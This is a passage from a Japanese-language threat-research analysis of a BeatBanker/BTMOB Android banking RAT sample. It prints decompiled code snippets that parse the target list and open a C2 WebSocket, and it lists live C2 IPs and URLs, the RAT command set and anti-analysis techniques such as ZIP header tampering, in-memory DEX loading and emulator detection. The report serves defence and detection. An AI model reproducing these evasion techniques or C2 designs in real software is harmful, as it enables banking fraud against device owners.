// On service start, the connector checks the 'TRK' value from its shared state.
// If it is non-empty and does not begin with the sentinel 'empty|', it splits
// the value on '|', Base64-decodes each entry as UTF-8, then splits each
// decoded entry on the field separator '[<s>]' into four named fields:
// ntrk, ltrk, itrk, ityp. This is the same structure as the live C2 update above.

if (!oxjugojsnjozr.efexbpctvpjlwqee.contains(/* "|" */)
        || oxjugojsnjozr.efexbpctvpjlwqee.startsWith(/* "empty|" */)) {
    r00.f(getApplicationContext(), re.e0, false);
    return;
}
r00.f(getApplicationContext(), re.e0, true);
for (String str2 : oxjugojsnjozr.efexbpctvpjlwqee.split(/* "|" */)) {
    String str3 = new String(Base64.decode(str2, 0), /* "UTF-8" */);
    if (str3.length() > 0 && str3.contains(/* "[<s>]" */)) {
        String[] strArrSplit = str3.split(/* "[<s>]" */);
        String str4 = strArrSplit[0]; // ntrk
        String str5 = strArrSplit[1]; // ltrk
        String str6 = strArrSplit[2]; // itrk (package name)
        String str7 = strArrSplit[3]; // ityp (activation mode)
        if (str7.equals(/* "G" */)) {
            posvvhbqnqa.x.add(str6.toLowerCase());
        }
        s.K(str4, str5);
        s.H(str4, str6);
        s.I(str4);
        s.J(str4, str7);
    }
}

あらゆる銀行を標的にする能力はマルウェアに組み込まれており、現在標的となっている銀行のリストはC2サーバー上にあります。オペレーター側のC2インターフェースを示す一般公開された概念実証動画という独立したエビデンスが、実環境でオペレーターの標的リストに銀行のパッケージ名が実際に含まれていることを裏付けています。

画面キャプチャとフィッシングの配信

アクセシビリティによる操作に加えて、コネクターはAndroidのMediaProjection APIを使った継続的な画面キャプチャを実装しています。VirtualDisplay、ImageReader、WebSocketのトランスポートが、オペレーターへのライブストリーミングのパイプラインを構成しています。

画面キャプチャはアクセシビリティから独立しています。異なるAndroid API、異なる権限(FOREGROUND_SERVICE_MEDIA_PROJECTION)、異なるユーザー同意ダイアログを使用しており、ルアーキットはまさにそれを手に入れるために設計されています。アクセシビリティと画面キャプチャの両方を持つオペレーターは冗長な可視性を得ます。一方のストリームが劣化しても、もう一方が継続します。

標的の起動時のフィッシング配信:標的とされたパッケージがフォアグラウンドに来てモードGが起動すると、コネクターは3つの仕組みでフィッシングコンテンツを配信できます。

  • ローカルのHTMLルアーキットから読み込まれるフルスクリーンのWebView(アクティビティcofsbfpmyxowwuea)
  • 正規のアプリの上に重ねられる偽のロック画面または認証情報入力用のActivity(アクティビティdhsesufepsplsmqcghx)
  • オーバーレイを使わない、正規のアプリ自身のUIのアクセシビリティによる直接操作:フィールドの自動入力、フォームの送信、取引の承認(posvvhbqnqaアクセシビリティサービス経由)

3つ目の仕組みが検知上の課題です。オーバーレイが存在しないため、端末上の防御が見つけられるオーバーレイウィンドウの痕跡もありません。マルウェアは、被害者自身の認証済みセッションを使い、オペレーターに代わって被害者の本物のバンキングアプリを操作します。銀行のバックエンドから見ると、すべての操作は正規のユーザーの端末とセッションから発生しています。実際にそうだからです。

偽の認証情報入力画面またはPINロック画面。監視対象のアプリケーションでアクセシビリティによる標的設定が起動した後に、コネクターが表示するフィッシングオーバーレイ。

図5:偽の認証情報入力画面またはPINロック画面。監視対象のアプリケーションでアクセシビリティによる標的設定が起動した後に、コネクターが表示するフィッシングオーバーレイ。

C2通信のアーキテクチャ

コネクターは、オペレーターのインフラへの2つの並行したチャネルを維持しています。

主要チャネル:永続的なWebSocket

// APK: connector.predictor.messenger — split DEX
// JADX source: sources/filterpredictor/loggermuxer/daemonallocatorx/daemonprober/gz.java (L291)
//
// The connector instantiates an OkHttpClient and opens a persistent WebSocket
// to the URL returned by re.c(). The WebSocket listener (C0054a) handles
// incoming operator commands in real time.

public void run() {
    OkHttpClient unused = gz.a = new OkHttpClient();
    gz.f = gz.a.newWebSocket(new Request.Builder().url(re.c()).build(), new C0054a());
}

C2のエンドポイントは実行時に設定可能:re.c()は定数ではありません。このメソッド(re.java L201–216)は、空で初期化される実行時に設定可能なフィールドre.cを読み取り、設定されている値に対して到達可能性のチェックを行い、設定されたものがどれも到達できない場合にのみ、ws://195.160.221.203:8080/にデコードされるハードコードされた難読化文字列にフォールバックします。ハードコードされたIPはフォールバックです。オペレーターは新しいAPKを送り込むことなく、設定の更新によって主要な接続先を差し替えられます。195.160.221.203をブロックすればフォールバックは断ち切れますが、任意の新しいインフラへのリダイレクトは防げません。

補助チャネル:HTTPによる報告とタスク取得

チャネル エンドポイント 役割
主要なWebSocket C2(フォールバック) ws://195.160.221.203:8080/ オペレーターによるリアルタイムの双方向制御
エラー報告 http://45.149.114.40/yaarsa/private/log_error.php マルウェア側のクラッシュ/エラーのテレメトリ
タスク/設定 http://45.149.114.40/yaarsa/private/yarsap_80541.php スケジュールされたタスクの取得
リダイレクト/再設定 https://famelack.com/ オペレーターが管理するリダイレクト用エンドポイント

オペレーターのコマンドセットの全体像:復元したディスパッチャーのハンドラーは、対象を絞ったバンキングオーバーレイツールではなく、汎用のAndroid RATであることを示しています。

コマンド 能力
screen / scread 画面のライブキャプチャとストリーミング
upload C2へのファイルの持ち出し
bot アクセシビリティによる自動操作(タップ、スワイプ、入力)
brows ブラウザーセッションの制御(Chrome、Firefox、Samsung Browser、Brave、Opera、Edge、DuckDuckGo)
clip クリップボードの読み書き
file / srh カテゴリ別のファイル検索、コピー、移動
loc 端末の位置情報
mic マイクへのアクセス
sms SMSの読み取りと送信
net / trm ネットワークシェル/telnetのようなリモート実行
miner マイナーの開始/停止の制御
lock 端末のロック/ブロッカー画面
red リダイレクト/再設定
DDS DoS/フラッディングエンジンのコントローラー
calf 着信転送
ject / lject コードインジェクションのヘルパー
update ペイロードの自己更新
clone アプリの複製
optns 実行時の設定の更新
add 端末のインベントリ/テレメトリのスナップショット
spng スパイウェアの状態のスナップショット(キーログのバッファー、アクティブなURL、通知ストリーム、監視の状態)
blker ブロッカーの制御(SMS/通話のブロックの状態機械)
wrk 内部のバックグラウンドワーカー用パケットバス
chat 端末上のチャットアクティビティを起動
fetch アクティブなSIMの電話番号を列挙、または任意のファイルをダウンロード
bc ユーザー向けのアラート/通知のフローを駆動
tols 汎用のユーティリティ操作:トースト表示、URLを開く、テキスト読み上げ、ライトの制御、音量の変更

検知回避のための副次的な能力:ads.txtによるホストのブロックリスト:ペイロードにはXORでエンコードされたassets/ads.txtが同梱されており、デコードすると約75,873件の広告・分析用ホスト名のリストになります。これはcofsbfpmyxowwueaアクティビティ(WebViewのルアーのホスト)が使用し、WebViewで描画されるコンテンツから広告・分析のネットワークリクエストを除外します。ルアーページは、二次的なネットワークシグナルを生みかねないサードパーティのノイズなしに、きれいに描画されます。

Stage 4は、ビジネスへの影響が現実のものとなる段階です。不正のためのツールキットは完備されています。OTPの傍受、アクセシビリティによる取引の操作、画面のライブ監視、フィッシングオーバーレイの配信、そして不正の実行中の通話/SMSのブロック(blker)です。検知にはネットワークの検査ではなくエンドポイントの可視性が必要です。ハードコードされたフォールバックIPをブロックしても、実行時に再設定可能な主要C2は断ち切れません。

解析妨害の手法

このサンプルは、アナリストが自然と最初に取りかかるあらゆるレイヤーで、解析に抵抗するように設計されています。サンプルからは7つの手法が見つかりました。個々にはささやかなものですが、合わせると、解析コストを大幅に引き上げる多層防御の態勢となっています。

偽装されたZIPメタデータ

外側のAPKは、仕様の文言どおりには有効なZIPアーカイブではありません。resources.arscとAndroidManifest.xmlの両方で、ローカルファイルヘッダーが暗号化済みとしてマークされ、未定義の圧縮方式(それぞれ0x598Fと0x8DCF。どちらも標準のZIPの方式ではありません)が使われ、圧縮後のサイズがゼロと宣言されています。それにもかかわらず、各エントリの実際のデータは生のバイトとしてヘッダーの後に続いています。

標準のAndroidツールはZIPの準拠性に厳格であるため、これらのエントリは解析の失敗や構造の誤報告を引き起こします。apktoolとaaptはどちらもアーカイブを正しく処理できません。通常の静的解析ツールでAPKを扱えるようにするには、ZIPの中央ディレクトリを手動で調べ、不正な形式のヘッダーを書き換える必要があります。一方、Android自身の実行時ローダーはアーカイブを受け入れられるほど寛容で、アプリは通常どおりインストールされます。

ネイティブブートストラップのアーキテクチャ

外側のAPKに注入されたApplicationサブクラスの重要なライフサイクルメソッド(attachBaseContextとonCreate)はnativeとして宣言され、ARMの共有ライブラリ(libmetaspermousdevitrifiednoiseful.so)内で完全に実装されています。同じパターンは、liblixhokfsmav.soを基盤とするStage 3のヘルパーのc6xmV4.java Applicationサブクラスでも再利用されています。JADXやその他のJavaレイヤーのデコンパイラーがこれらのクラスを読み込んでも、空のメソッドシグネチャしか見えません。解析すべきバイトコードもロジックもありません。

段階的なペイロードの暗号化

各段階の本当のペイロードは、前の段階のassets/ディレクトリに高エントロピーの暗号化ブロブとして保存されており、ファイル名は識別可能なファイル形式ではなく、意味のないアセット識別子に見えるように選ばれています。2種類の暗号方式が使われています。ブートストラップDEXには繰り返しXOR、下流のAPKとZIPアーカイブには、アセットのベース名からSHA-1の切り詰めによって導出した128ビット鍵を用いるAES/CBC/PKCS5Paddingです。

インメモリDEX読み込み

復号されたペイロードのDEXは、スキャナーが監視するディスク上のパスに書き込まれることはありません。代わりに、ブートストラップのコードがクラスローダーへのパッチ適用を行います。古いAndroid APIレベルでは親クラスローダーのdexElements配列をリフレクションで操作し、API 29以降ではmakeInMemoryDexElementsを直接呼び出します。段階的に展開されたペイロードは完全なAndroidアプリケーションとして実行されますが、標準のストレージパスにインストール済みのAPKやディスク上のDEXファイルとして現れることはありません。

階層化された文字列の難読化

2つの異なる文字列難読化ラッパーが並行して使用されています。

  • rf0.a():単純な繰り返しXOR暗号。実行時の復号を低コストにする必要がある、大量の文字列に使用。
  • s00.a():PBKDF2WithHmacSHA1を65,536回反復して導出した128ビット鍵を用いるAES/CBC/PKCS5Padding。URL、コマンド名、標的のパッケージパターンなど、運用上機微な文字列のために確保されています。

この階層化は、熟慮された防御であることを示しています。作成者は、コストの高いAES-PBKDF2を最も重要な文字列のために確保し、残りは低コストのXORで処理しています。

エミュレーター検知

主要なActivityクラスczjjzmkujklは、106行目でp0.javaの3つのヘルパーメソッド、p0.f0()、p0.m0()、p0.o0()を参照してエミュレーター検知を行います。各メソッドはBuild.BRANDを難読化されたブランド文字列と照合し、一般的なエミュレーターのフィンガープリントを識別します。検知時の挙動は、強制的なクラッシュや即時の終了ではありません。検知結果は2つの設定ブロブのどちらを選ぶかに使われ、エミュレーターが検知された場合、サンプルは通常のブロブではなく代替のブロブで処理を続けます。

まとめの所見

このサンプルの解析妨害の設計のうち、2つの側面は特筆に値するほど特徴的です。

ZIPの偽装は局所的で精密:外側のAPKで偽装されたメタデータを持つのは、resources.arscとAndroidManifest.xmlの2つのエントリ(方式0x598Fと0x8DCF)だけです。他のエントリはすべて有効です。この2ファイルだけを狙った精密なパターンは、BeatBanker / BTMOBのサンプル全体にわたるファミリーの指標として役立つほど特徴的です。

AES鍵の導出はアナリストにも再現可能:Stage 3のDexLoaderは、SHA-1(basename_of_asset_path)[:16]を計算して128ビット鍵を導出します。鍵はネイティブライブラリ内の秘密の素材ではなくファイル名から導出されるため、暗号化されたアセットを入手したアナリストなら誰でも、ネイティブコードをリバースエンジニアリングすることなく鍵を導出できます。ここでの暗号化は、意欲のある解析に対する本当の障壁ではなく、スキャナーに対する障害物として機能しているにすぎません。

帰属:BeatBanker / BTMOB

クラスターの背景

BeatBankerとBTMOBは、複数の独立した脅威リサーチの情報源で文書化されている、別個ながら関連するAndroidマルウェアファミリーです。BeatBankerは、KasperskyのSecurelistが文書化しBleepingComputerが要約したもので、トロイの木馬化されたユーティリティアプリケーションを通じて配信される、段階的なAndroidのバンキング型/マイナー型プラットフォームです。BTMOBはRATファミリーであり、CybleによってSpySolrの進化形として独自に文書化されています。最近のBeatBankerのサンプルは、以前のバンキングモジュールに代えてBTMOBを展開しています。

公開されている情報源: - Securelist(Kaspersky):BeatBanker miner and banker:https://securelist.com/beatbanker-miner-and-banker/119121/ - BleepingComputer:New BeatBanker Android malware poses as Starlink app to hijack devices:https://www.bleepingcomputer.com/news/security/new-beatbanker-android-malware-poses-as-starlink-app-to-hijack-devices/ - Cyble:BTMOB RAT: Newly discovered Android malware:https://cyble.com/blog/btmob-rat-newly-discovered-android-malware/

BeatBankerクラスターの代表的な特徴には、トロイの木馬化されたユーティリティアプリケーションによる段階的なAPK配信、ネイティブコードによるブートストラップチェーン、Firebaseベースのコマンドと起動のシグナリング、下流のペイロードでのアクセシビリティサービスの悪用、そして二次的な収益化チャネルとしての暗号資産マイナーの並行展開があります。

インフラの指標

指標 BeatBanker / BTMOBとの関連
accessor.fud2026.com Securelistの公開レポートで個別に言及
accessor.fud2026.org 公開レポートでは個別に言及されていない。このサンプルからのみ復元(報告された.comと同じドメインファミリー)
pool.fud2026.com Securelistの公開レポートで個別に言及
pool.fud2026.com:8443 報告された.comと同じドメインファミリー
pool-proxy.fud2026.com:8443 Securelistの公開レポートで個別に言及
aptabase.khwdji319.xyz:8443 公に報告されたBeatBankerのテレメトリクラスターに含まれる

fud2026.*のドメインファミリーは、単独の指標としては最も強力な帰属の根拠です。このサンプル内の複数の役割(ダウンローダー、プール、プールのプロキシ)に現れ、BeatBankerクラスターに関する公開レポートで名指しされている指標でもあります。

振る舞いの一貫性

このサンプルのアーキテクチャと運用のパターンは、主要なあらゆる側面で、公に文書化されているBeatBanker / BTMOBの特徴と一致しています。

  • トロイの木馬化されたユーティリティアプリケーションによる段階的なAPK配信(Stage 1、LumoLight)
  • 複数の段階にわたるattachBaseContextとonCreateを横取りするネイティブコードのブートストラップ(Stage 1とStage 3)
  • 起動とタスク指示のチャネルとしてのFirebase Cloud Messaging(Stage 2)
  • 権限昇格を得る主要な手段としての偽のセットアップ、VPN、アクセシビリティ有効化のルアーフロー(Stage 4)
  • 二次的な収益化チャネルとしての暗号資産マイナーの並行展開(Stage 3)

これらはそれぞれ、BeatBankerクラスターに関する公開レポートで個別に文書化されています。5つすべてが同じサンプル内に、しかも同じ順序とアーキテクチャ上の関係で存在していること自体が、インフラの重複とは独立して、ファミリーへの所属を示す指標となっています。

結論

TV_V_23.apkは単独のアプリケーションではありません。感染端末上で長期間生き延びるように作られた、継続的かつ専門的に設計された脅威アクターの運用の構成要素です。

アーキテクチャのパターンこそが識別子:パッケージ名、鍵、C2のエンドポイント、ルアーのHTMLは、いずれもプラットフォームを書き直すことなく入れ替えられます。簡単には入れ替えられないのはアーキテクチャです。トロイの木馬化されたユーティリティの外層、暗号化された段階的ペイロードを伴うネイティブブートストラップ、Firebaseベースの起動、アクセシビリティによる標的設定を備えた分割APKのオペレーター用ペイロード、マイナーによる並行した収益化、階層化された文字列の難読化、実行時に設定可能なC2です。検知エンジニアリングは、アーティファクトではなくアーキテクチャを対象とすべきです。

脅威の対象領域は技術的なものではなく振る舞いにある:悪用された脆弱性はありません。すべての能力は、改変されていない端末上で被害者が付与した権限を通じて提供されます。パッチ適用やOSの堅牢化は適切な対抗策ではありません。適切なのは、アクセシビリティの悪用の振る舞いに基づく検知、バンキングアプリのログイン時の端末の完全性の証明、取引操作のパターンに対する異常検知、そしてこのファミリーの手口に合わせて調整した顧客教育です。

脅威は再発する:BeatBanker / BTMOBは、サンプルやインフラの世代をまたいで継続性を持っています。ハードコードされた標的設定がないことこそ、オペレーターがいつでもあらゆる金融機関を標的にし直せる仕組みです。報告されたインシデントで影響を受けた顧客が最後になる可能性は低いでしょう。今回の対応を、継続的な取り組みの最初の一手ではなく一度きりの修復として扱うことは、計画上の誤りとなります。

このマルウェアの強みは構造的なものであり、防御側の強みもそうでなければなりません。キャンペーンが成熟するにつれて、個別の点での防御の価値は薄れていくでしょう。